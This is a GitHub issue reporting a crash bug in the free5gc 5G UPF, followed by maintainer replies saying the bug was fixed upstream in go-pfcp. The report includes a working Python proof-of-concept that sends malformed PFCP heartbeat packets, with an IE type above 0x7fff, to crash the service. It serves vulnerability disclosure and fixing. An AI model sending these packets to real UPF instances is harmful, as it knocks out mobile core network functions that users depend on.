You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
While testing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when it receives special kind of PFCP messages (the secondary IE type is larger than 0x7fff). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
To Reproduce
Steps to reproduce the behavior:
Build the UPF with source code
Run the bin/upf with default config/upfcfg.yaml
Run the following POC python script
#!/usr/bin/env python3importsocketudp_socket=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request=b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'""" PFCP Heartbeat Request with a second IE whose type is 0xffff (larger than 0x7fff)"""pfcp_heartbeat_request=b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30'udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
exceptExceptionasexception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
exceptExceptionasexception:
print(f"Receive failed: {exception}")
udp_socket.close()
Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check this kind of PFCP messages whose second IE type is larger than 0x7ffff, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
Screenshots
No special screenshot is provided.
Environment (please complete the following information):
@tjbdlq hi,
thanks for reporting this problem, the problem is in the go-pfcp package, we have found the solution to it. We'll send the problem and solution to the owner of that package.
Hi @tjbdlq,
this bug has been fixed by updating to the newest version of go-pfcp, the change has been merged. You can get the newest version of UPF and the problem will be fixed.
BRs,
Linpoyi
Describe the bug
While testing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when it receives special kind of PFCP messages (the secondary IE type is larger than 0x7fff). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
To Reproduce
Steps to reproduce the behavior:
Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check this kind of PFCP messages whose second IE type is larger than 0x7ffff, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
Screenshots
No special screenshot is provided.
Environment (please complete the following information):
Trace File
Configuration File
No specific configuration is required.
PCAP File
No specific pcap file is provided.
Log File
The text was updated successfully, but these errors were encountered: